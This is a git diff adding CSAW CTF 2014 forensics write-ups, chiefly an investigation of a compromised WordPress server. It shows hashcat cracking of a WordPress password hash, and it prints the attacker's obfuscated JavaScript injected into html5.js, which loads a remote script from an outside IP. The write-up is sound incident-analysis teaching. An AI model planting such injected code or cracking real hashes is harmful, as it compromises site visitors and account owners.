readelf elf-file(s) + Display information about the contents of ELF format files + Options are: + -a --all Equivalent to: -h -l -S -s -r -d -V -A -I + -h --file-header Display the ELF file header + -l --program-headers Display the program headers + --segments An alias for --program-headers + -S --section-headers Display the sections' header + --sections An alias for --section-headers + -g --section-groups Display the section groups + -t --section-details Display the section details + -e --headers Equivalent to: -h -l -S + -s --syms Display the symbol table + --symbols An alias for --syms + --dyn-syms Display the dynamic symbol table + -n --notes Display the core notes (if present) + -r --relocs Display the relocations (if present) + -u --unwind Display the unwind info (if present) + -d --dynamic Display the dynamic section (if present) + -V --version-info Display the version sections (if present) + -A --arch-specific Display architecture specific information (if any) + -c --archive-index Display the symbol/file index in an archive + -D --use-dynamic Use the dynamic section info when displaying symbols + -x --hex-dump= + Dump the contents of section as bytes + -p --string-dump= + Dump the contents of section as strings + -R --relocated-dump= + Dump the contents of section as relocated bytes + -w[lLiaprmfFsoRt] or + --debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames, + =frames-interp,=str,=loc,=Ranges,=pubtypes, + =gdb_index,=trace_info,=trace_abbrev,=trace_aranges] + Display the contents of DWARF2 debug sections + --dwarf-depth=N Do not display DIEs at depth N or greater + --dwarf-start=N Display DIEs starting with N, at the same depth + or deeper + -I --histogram Display histogram of bucket list lengths + -W --wide Allow output width to exceed 80 characters + @ Read options from + -H --help Display this information + -v --version Display the version number of readelf + +``` + + +In addition, [LSB] stands for *Linux Standard Base*, which is a joint project by several Linux distributions. It specifies standard libraries, a number of commands and utilities that extend the POSIX standard, the layout of the file system hierarchy, run levels, the printing system, etc. + + + + +--- + +## Extracting Information from the *.mem* File + +It turned out that we don't even need to know anything about the file to find the flag. All we need to do is to search for the *flag* string: + +```sh +$ cat firefox.mem | grep -a 'flag{' +P��negativeone_or_fdZZZZZZZZZZZZnegativeone_or_nothingZZnegativeone_or_ssize_tZZd_name_extra_sizeZZZZZZZZZZZZnull_or_dirent_ptrZZZZZZZZZZOSFILE_SIZEOF_DIRZZZZZZZZZZZZ���� 3���������ZZZZZZZH�f�L��L��ZZ����@�m���������ZZZZZZZAG�@r���y��ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291} +``` + +Yay! We found the flag: **cd69b4957f06cd818d7bf3d61980e291**! + +**Hack all the things!** + + +[LSB]: http://en.wikipedia.org/wiki/Linux_Standard_Base +[readelf]: http://linux.die.net/man/1/readelf +[file]: http://en.wikipedia.org/wiki/File_(command) +[firefox.mem.zip]: https://ctf.isis.poly.edu/static/uploads/606580b079e73e14ab2751e35d22ad44/firefox.mem.zip +[ELF]: http://en.wikipedia.org/wiki/Executable_and_Linkable_Format + + +---------------------- + +# CSAW CTF 2014 - Forensics 300: "Fluffy No More" + + + +This is the fourth and the last of the forensics challenge in the CSAW CTF 2014 competition. It was much harder than the three before, but it was also much more interesting. + +The challenge starts with the following text: + + +> OH NO WE'VE BEEN HACKED!!!!!! -- said the Eye Heart Fluffy Bunnies Blog owner. +> Life was grand for the fluff fanatic until one day the site's users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive foreign governments. The notorious "Forgotten Freaks" hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!?? +> +>Well... The fluff needs your stuff. I've pulled the logs from the server for you along with a backup of its database and configuration. Figure out what is going on! +> +>Written by brad_anton +> +> [CSAW2014-FluffyNoMore-v0.1.tar.bz2] + +Oh, no! Nobody should mess with fluffy bunnies! Ever! Let's find how this attack happened! + + +## Inspecting the Directories + +We start by checking the identity of the file with the command [file]. We do this to make sure that the extension is not misleading: +```sh +$ file CSAW2014-FluffyNoMore-v0.1.tar.bz2 +CSAW2014-FluffyNoMore-v0.1.tar.bz2: bzip2 compressed data, block size = 900k + +``` + +OK, cool, we can go ahead and unzip the *bzip2* (compressed) tarball: + +```sh +$ tar --help | grep bz + -j, --bzip2 filter the archive through bzip2 +$ tar -xjf CSAW2014-FluffyNoMore-v0.1.tar.bz2 +``` +Now let's take a look inside the folder: +```sh +$ tree CSAW2014-FluffyNoMore-v0.1 +CSAW2014-FluffyNoMore-v0.1 +├── etc_directory.tar.bz2 +├── logs.tar.bz2 +├── mysql_backup.sql.bz2 +└── webroot.tar.bz2 + +0 directories, 4 files +``` + +All right, 4 more tarballs. Unziping and organizing them give us the following directories: + + - etc/ + - var/log and var/www + - mysql_backup.sql ([MySQL database dump file]) + + +This is the directory structure of a [LAMP server], where LAMP stands for Linux-Apache-MySQL-PHP in the [Linux File System]. In this framework, the PHP/HTML/JavaScript webpage is placed inside ```var/www```. + +The directory ```var/``` contains files that are expected to change in size and content as the system is running (var stands for variable). So it is natural that system log files are generally placed at ```/var/log```. + + + Finally, the ```etc/``` directory contains the system configuration files. For example, the file ```resolv.conf``` tells the system where to go on the network to obtain host name to IP address mappings (DNS). Another example is the file ```passwd```, which stores login information. + +--- + +## Before Anything else... + +OK, based on the previous challenges, we need to give a try: +```sh +$ grep -r -l "key{" +var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css +webroot.tar.bz2-extracted/var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css + +$ grep -r -l "flag{" +var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css +webroot.tar.bz2-extracted/var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css +``` + + Is our life this easy??? No, of course not. The hits we got are just funny names to mislead us, for example: +```html + -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px +``` + +--- +## Analyzing the MySQL Dump File + +Let's start taking a look at ```mysql_backup.sql```. + +Of course, no luck for: + +```sh +$ cat mysql_backup.sql | grep 'flag{' +``` + +Fine. We open ```mysql_backup.sql``` in a text editor. The comments table shows that someone named "hacker" made an appearance: + + +```mysql +-- MySQL dump 10.13 Distrib 5.5.38, for debian-linux-gnu (i686) +-- +-- Host: localhost Database: wordpress +-- ------------------------------------------------------ + +-- Dumping data for table `wp_comments` +-- +(..) + +(4,5,'Hacker','hacker@secretspace.com','','192.168.127.130','2014-09-16 14:21:26','2014-09-16 14:21:26','I HATE BUNNIES AND IM GOING TO HACK THIS SITE BWHAHAHAHAHAHAHAHAHAHAHAH!!!!!!! BUNNIES SUX',0,'1','Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0','',0,0), + +(7,5,'Bald Bunny','nohair@hairlessclub.com','','192.168.127.130','2014-09-16 20:47:18','2014-09-16 20:47:18','I find this blog EXTREMELY OFFENSIVE!',0,'1','Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0','',0,0), + +(8,5,'MASTER OF DISASTER','shh@nottellin.com','','192.168.127.137','2014-09-17 19:40:57','2014-09-17 19:40:57','Shut up baldy',0,'1','Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko','',7,0); +(...) +``` + + +Searching for the host **secretspace.com** leads to some generic website. Inspecting its source code does not give us any hint either. Maybe its IP address? + +```sh +$ dig secretspace.com + +; <<>> DiG 9.9.4-P2-RedHat-9.9.4-15.P2.fc20 <<>> secretspace.com +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61131 +;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 + +;; QUESTION SECTION: +;secretspace.com. IN A + +;; ANSWER SECTION: +secretspace.com. 285 IN A 72.167.232.29 + +;; Query time: 7 msec +;; SERVER: 10.0.0.1#53(10.0.0.1) +;; WHEN: Thu Sep 25 15:51:26 EDT 2014 +;; MSG SIZE rcvd: 49 +``` + +The IP 72.167.232.29 leads to another generic page with no hints and with nothing in special in the source code. Wrong direction... + + +All right, let's give a last try and open the tables from the MySQL dump file inside a nice GUI. I use [phpMyAdmin], which I showed how to install and to configure in my tutorial about setting up a [LAMP server]. + +We open ```localhost/phpmyadmin``` in our browser. First, we go to *Databases* and then *Create Database* with any name we want. Then we *Import* ```mysql_backup.sql`` to this database. All the tables are loaded. Let's use the *Search* option to look for *key* or *flag*. + + +![cyber](http://i.imgur.com/tVOY1VJ.png) +![cyber](http://i.imgur.com/jY7CbLZ.png) + +Nope. Nothing in special. By the way, ```default_pingback_flag1`` is just a **Wordpress** flag indicating the default status of ping backs when new blog posts are published. + +Let's continue our search. If we look inside each of the tables we find: + +* The URL for the [blog], which doesn't render. However, in the source code, there is a commented link that leads to a [cute website]. Nothing else. + +* Oh, wait! We found a hashed password! +![cyber](http://i.imgur.com/FiQONze.png) + +--- +## Cracking the Password + +We want to crack ```$P$BmHbpWPZrjt.2V8T2xDJfbDrAJZ9So1``` and for this, we are going to use [hashcat]. If you are in [Kali] or in any Debian distribution you can install it with: +```sh +$ apt-get hashcat +``` + +In Fedora, we need to download and unzip it: +```sh +$ wget http://hashcat.net/files/hashcat-0.47.7z +$ 7za e hashcat-0.47.7z +``` + +Now, we are going to perform a brute force attack so we need a list of passwords. If you are using Kali, you can find them with: + +```sh +$ locate wordlist +``` +If not, this is an example for you (it's always good to have several lists!): +```sh +$ wget http://www.scovetta.com/download/500_passwords.txt +$ head 500_passwords.txt +123456 +password +12345678 +1234 +12345 +dragon +qwerty +696969 +mustang +``` + +Hashcat is awesome because it gives you a list of hash types: + +``` + 0 = MD5 + 10 = md5($pass.$salt) + 20 = md5($salt.$pass) + 30 = md5(unicode($pass).$salt) + 40 = md5(unicode($pass).$salt) + 50 = HMAC-MD5 (key = $pass) + 60 = HMAC-MD5 (key = $salt) + 100 = SHA1 + 110 = sha1($pass.$salt) + 120 = sha1($salt.$pass) + 130 = sha1(unicode($pass).$salt) + 140 = sha1($salt.unicode($pass)) + 150 = HMAC-SHA1 (key = $pass) + 160 = HMAC-SHA1 (key = $salt) + 200 = MySQL + 300 = MySQL4.1/MySQL5 + 400 = phpass, MD5(Wordpress), MD5(phpBB3) + 500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5 + 800 = SHA-1(Django) + (...) +``` + +We choose 400 because we are dealing with Wordpress. We copy and paste the hash to a file *pass.hash*. Then, we run: +```sh +$ ./hashcat-cli64.bin -m 400 -a 0 -o cracked.txt --remove pass.hash word_list.txt + +Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size... +(...) + +``` +where: + + * -m is for --hash-type=NUM + * -a 0: Using a dictionary attack + * cracked.txt is the output file + * word_list.txt is our dictionary + + +Now let's take a peak in the output file: + +```sh +$ cat cracked.txt +$P$BmHbpWPZrjt.2V8T2xDJfbDrAJZ9So1:fluffybunnies +``` + +It worked! Our password is **fluffybunnies**! + +All right, this is a very silly password! It could be easily guessed. If you were the attacker, wouldn't you try this as the first option? OK, maybe right after *password* and *123456*... :) + + +#### What we have so far +All we have learned from the MySQL dump file was: + +* the attacker's motivation, + +* the blog's URL, + +* that the application was in Wordpress, + +* and a password. + +Ah, also that ```mailserver_login:login@example.com``` and ```mailserver_pass=password```. Talking about security... + +Let's move on. + +--- +## Inspecting /var/logs/apache2 + +The next item in the list is log inspection. We need wisely choose where to start because there are many of them: + +```sh +$ find . -type f -name '*.log' +./apache2/error.log +./apache2/access.log +./apache2/other_vhosts_access.log +./fontconfig.log +./boot.log +./gpu-manager.log +./mysql.log +./bootstrap.log +./pm-powersave.log +./kern.log +./mysql/error.log +./alternatives.log +./lightdm/x-0.log +./lightdm/lightdm.log +./casper.log +./auth.log +./apt/term.log +./apt/history.log +./dpkg.log +./Xorg.0.log +./upstart/container-detect.log +./upstart/console-setup.log +./upstart/mysql.log +./upstart/alsa-state.log +./upstart/network-manager.log +./upstart/whoopsie.log +./upstart/procps-virtual-filesystems.log +./upstart/cryptdisks.log +./upstart/systemd-logind.log +./upstart/procps-static-network-up.log +./upstart/alsa-restore.log +./upstart/modemmanager.log +``` + +We start with the Apache's log because they carry the connection information. If there is any important information in the log files, it should appear in the end, because the attack should be one of the last things that were logged. + + It turned out that [Tailing] the *apache* logs did not reveal anything useful. + +----- +## Inspecting var/logs/auth.log + + +Considering that the password **fluffybunnies** was very easy to guess, we are going to take a leap and suppose that this was how the attack was crafted. + +Tailing ```auth.log``` shows something interesting: + +```sh +Sep 17 19:18:53 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/bin/chmod -R 775 /var/www/ +Sep 17 19:20:09 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js +Sep 17 19:20:55 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/find /var/www/html/ * touch {} +``` +So someone logged as root: + + 1. downgraded the permissions of */var/www* (755 means read and execute access for everyone and also write access for the owner of the file), and + + 2. modified a JavaScript file (html5.js) in *vi*. + +--- +## Finding the JavaScript Exploit + + +It looks like an attack to me! Let's [diff] this JavaScript file with the original ([which we can just google]): + + +```sh +$ diff html5.js html5_normal.js +93,122d92 +< var g = "ti"; +< var c = "HTML Tags"; +< var f = ". li colgroup br src datalist script option ."; +< f = f.split(" "); +< c = ""; +< k = "/"; +< m = f[6]; +< for (var i = 0; i < f.length; i++) { +< c += f[i].length.toString(); +< } +< v = f[0]; +< x = "\'ht"; +< b = f[4]; +< f = 2541 * 6 - 35 + 46 + 12 - 15269; +< c += f.toString(); +< f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1; +< c += f.toString(); +< f = ""; +< c = c.split(""); +< var w = 0; +< u = "s"; +< for (var i = 0; i < c.length; i++) { +< if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) { +< f += String.fromCharCode(46); +< w++; +< } +< f += c[i]; +< } +< i = k + "anal"; +< document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\"); + +``` +Aha!!! So what is being written? + +In JavaScript, the function ```document.write()``` writes HTML expressions or JavaScript code to a document. However, we can debug it in the console if we want, changing it to ```console.log()``` (and changing any ```document``` word to ```console```). + +To run JavaScript in the console, you need to install [Node]. + +So we run and we get a URL: + + +```sh +$ node html5.js + +``` +---- + +## Analyzing the Second JavaScript Exploit + +Awesome, we see a script exploit! Let's get it! + +```sh +$ wget http://128.238.66.100/analytics.js +--2014-09-25 19:17:19-- http://128.238.66.100/analytics.js +Connecting to 128.238.66.100:80... connected. +HTTP request sent, awaiting response... 200 OK +Length: 16072 (16K) [application/javascript] +Saving to: ‘analytics.js’ + +100%[===============================================================================>] 16,072 --.-K/s in 0.008s + +2014-09-25 19:17:19 (2.02 MB/s) - ‘analytics.js’ saved [16072/16072] +``` + + +The file turns out to be large, and *grep* *flag* or *key* doesn't show any hit. No IP addresses or URL neither. + +OK, let's take a closer look. We open the file in a text editor and we find a weird hex-encoded variable that is completely unconnected from the rest: +``` +var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"]; +window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]); +``` + +We decode it using Python or a [online hex-decode] and we get another file: +```python +>>> print("\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E") +('http://128.238.66.100/announcement.pdf', '_self', 'open') +``` + +Opening the URL leads to this picture: +![cyber](http://i.imgur.com/CNEQhfG.png) + + +LOL. Funny, but no flag yet... + +It should be in the PDF somewhere! + +___ +## Finding the Second Hex-encoded String: Approach I + + +All right, let's use what we learned from the [CSAW CTF 2014 Forensic -Obscurity] problem. First, let's see if we find the flag with a simple grep: +```sh +$./pdf-parser.py announcement.pdf | grep flag +$./pdf-parser.py announcement.pdf | grep key +``` + +No luck. Let us ID the file to see if we find any funny stream: + +```sh +$ ./pdfid.py announcement.pdf PDFiD 0.1.2 announcement.pdf + PDF Header: %PDF-1.4 + obj 9 + endobj 9 + stream 4 + endstream 4 + xref 1 + trailer 1 + startxref 1 + /Page 1 + /Encrypt 0 + /ObjStm 0 + /JS 0 + /JavaScript 0 + /AA 0 + /OpenAction 0 + /AcroForm 0 + /JBIG2Decode 0 + /RichMedia 0 + /Launch 0 + /EmbeddedFile 1 + /XFA 0 + /Colors > 2^24 0 +``` + +Oh, cool, there is a **Embedded File**! Let's look closer to this object: +```sh +$ ./pdf-parser.py --stats announcement.pdf Comment: 3 +XREF: 1 +Trailer: 1 +StartXref: 1 +Indirect object: 9 + 2: 3, 7 + /Catalog 1: 6 + /EmbeddedFile 1: 8 + /Filespec 1: 9 + /Page 1: 5 + /Pages 1: 4 + /XObject 2: 1, 2 +``` + + Nice. So now we can decode our pdf file using the **object code**, which we can see above that is **8**: + +```sh +$ ./pdf-parser.py --object 8 --raw --filter announcement.pdf +obj 8 0 + Type: /EmbeddedFile + Referencing: + Contains stream + + << + /Length 212 + /Type /EmbeddedFile + /Filter /FlateDecode + /Params + << + /Size 495 + /Checksum <7f0104826bde58b80218635f639b50a9> + >> + /Subtype /application/pdf + >> + + var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0]; + +``` +Which *finally* leads to our flag! +```python +>>> print("\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D") +YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb :) key{Those Fluffy Bunnies Make Tummy Bumpy} +``` + +--- +## Finding the Second Hex-encoded String: Approach II + +There is a nice tool called [qpdf] that can be very useful here: +```sh +$ sudp yum install qpdf +``` + +Now, we just do the following conversion: +```sh +$ qpdf --qdf announcement.pdf unpacked.pdf +``` + +Opening *unpacket.pdf* with [l3afpad] also leads to the flag : + +``` +stream +var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0]; +endstream +endobj +``` + + + + +[MySQL database dump file]:http://dev.mysql.com/doc/refman/5.0/en/mysqldump-sql-format.html +[CSAW CTF 2014 Forensic -Obscurity]: http://https://singularity-sh.vercel.app/forensics-200-obscurity.html +[online hex-decode]: http://ddecode.com/hexdecoder/ +[which we can just google]: http://phpxref.ftwr.co.uk/wordpress/wp-content/themes/twentythirteen/js/html5.js.source.html +[Tailing]: http://en.wikipedia.org/wiki/Tail_(Unix) +[phpMyAdmin]: http://www.phpmyadmin.net/home_page/index.php +[qpdf]: http://qpdf.sourceforge.net/ +[l3afpad]: http://tarot.freeshell.org/leafpad/ +[diff]: http://linux.die.net/man/1/diff +[MySQL database dump file]: http://dev.mysql.com/doc/refman/5.1/en/mysqldump.html +[Linux File System]: http://www.tldp.org/LDP/intro-linux/html/sect_03_01.html +[LAMP server]: https://coderwall.com/p/syyk0g?i=5&p=1&q=author%3Abt3gl&t%5B%5D=bt3gl +[CSAW2014-FluffyNoMore-v0.1.tar.bz2]: https://ctf.isis.poly.edu/static/uploads/649bdf6804782af35cb9086512ca5e0d/CSAW2014-FluffyNoMore-v0.1.tar.bz2 +[bzip2]: http://en.wikipedia.org/wiki/Bzip2 +[cute website]: http://ww17.blog.eyeheartfluffybunnies.com/?fp=Tnxj5vWdcChO2G66EhCHHqSAdskqgQmZEbVQIh1DCmrgCyQjbeNsPhkvCpIUcP19mwOmcCS1hIeFb9Aj3%2FP4fw%3D%3D&prvtof=RyfmkPY5YuWnUulUghSjPRX510XSb9C0HJ2xsUn%2Fd3Q%3D&poru=jcHIwHNMXYtWvhsucEK%2BtSMzUepfq46Tam%2BwGZBSFMjZiV2p3eqdw8zpPiLr76ixCoirz%2FR955vowRxEMBO%2FoQ%3D%3D&cifr=1&%22 +[blog]: http://ww17.blog.eyeheartfluffybunnies.com +[hashcat]: http://hashcat.net/hashcat/ +[file]: http://en.wikipedia.org/wiki/File_(command) +[Kali]: http://www.kali.org/ +[Node]: http://nodejs.org/ + diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/big-data/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/big-data/README.md similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/big-data/README.md rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/big-data/README.md diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/big-data/firefox.mem.zip b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/big-data/firefox.mem.zip similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/big-data/firefox.mem.zip rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/big-data/firefox.mem.zip diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/CSAW2014-FluffyNoMore-v0.1.tar.bz2 diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/README.md similarity index 99% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/README.md rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/README.md index 9fa4bf3..1727567 100644 --- a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/README.md +++ b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/README.md @@ -547,7 +547,6 @@ endobj [MySQL database dump file]:http://dev.mysql.com/doc/refman/5.0/en/mysqldump-sql-format.html -[CSAW CTF 2014 Forensic -Obscurity]: https://gist.github.com/bt3gl/4574e99fe0f0dbdb56a9 [online hex-decode]: http://ddecode.com/hexdecoder/ [which we can just google]: http://phpxref.ftwr.co.uk/wordpress/wp-content/themes/twentythirteen/js/html5.js.source.html [Tailing]: http://en.wikipedia.org/wiki/Tail_(Unix) diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/analytics.js b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/analytics.js similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/analytics.js rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/analytics.js diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/announcemen.pdf b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/announcemen.pdf similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/announcemen.pdf rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/announcemen.pdf diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/html5.js b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/html5.js similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/html5.js rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/html5.js diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/pdf-parser.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/pdf-parser.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/pdf-parser.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/pdf-parser.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/unpacked.txt b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/unpacked.txt similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/fluffy/unpacked.txt rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/unpacked.txt diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/README.md similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/README.md rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/README.md diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/pdf-parser.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdf-parser.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/pdf-parser.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdf-parser.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/pdf.pdf b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdf.pdf similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/pdf.pdf rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdf.pdf diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/pdfid.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdfid.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/obscurity/pdfid.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdfid.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/why-not-sftp/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/why-not-sftp/README.md similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/why-not-sftp/README.md rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/why-not-sftp/README.md diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/why-not-sftp/traffic-5.pcap b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/why-not-sftp/traffic-5.pcap similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/forensics/why-not-sftp/traffic-5.pcap rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/why-not-sftp/traffic-5.pcap diff --git a/CTFs_and_WarGames/2014/CSAW-quals/networking/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/networking/README.md similarity index 95% rename from CTFs_and_WarGames/2014/CSAW-quals/networking/README.md rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/networking/README.md index 94a479f..a9ca8e3 100644 --- a/CTFs_and_WarGames/2014/CSAW-quals/networking/README.md +++ b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/networking/README.md @@ -1,7 +1,6 @@ -#Networking-100: Big Data +# Networking-100: Big Data -This is the only networking problem, and it is only 100 points, so it turned out to be very easy. The problem starts with the following text: diff --git a/CTFs_and_WarGames/2014/CSAW-quals/networking/pcap.pcapng 